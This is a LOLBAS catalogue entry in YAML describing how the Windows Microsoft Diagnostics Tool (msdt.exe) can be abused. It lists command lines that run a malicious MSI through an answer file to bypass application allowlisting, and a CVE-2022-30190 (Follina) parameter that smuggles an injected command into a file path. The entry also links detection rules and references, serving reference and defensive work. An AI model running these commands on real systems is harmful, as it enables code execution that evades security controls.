mirror of
https://github.com/LOLBAS-Project/LOLBAS
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45 lines
2.7 KiB
YAML
45 lines
2.7 KiB
YAML
---
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Name: Msdt.exe
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Description: Microsoft diagnostics tool
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
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Description: Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.
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Usecase: Execute code
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Category: Execute
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Privileges: User
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MitreID: T1218
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
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Description: Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.
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Usecase: Execute code bypass Application whitelisting
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Category: AWL Bypass
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Privileges: User
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MitreID: T1218
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"
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Description: Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the "PCWDiagnostic" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.
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Usecase: Execute code bypass Application allowlisting
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Category: AWL Bypass
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Privileges: User
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MitreID: T1202
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Full_Path:
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- Path: C:\Windows\System32\Msdt.exe
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- Path: C:\Windows\SysWOW64\Msdt.exe
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Code_Sample:
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- Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/PCW8E57.xml
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_msdt.yml
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- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
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Resources:
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- Link: https://web.archive.org/web/20160322142537/https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/
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- Link: https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
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- Link: https://twitter.com/harr0ey/status/991338229952598016
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- Link: https://twitter.com/nas_bench/status/1531944240271568896
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Acknowledgement:
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- Person: Nasreddine Bencherchali
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Handle: '@nas_bench'
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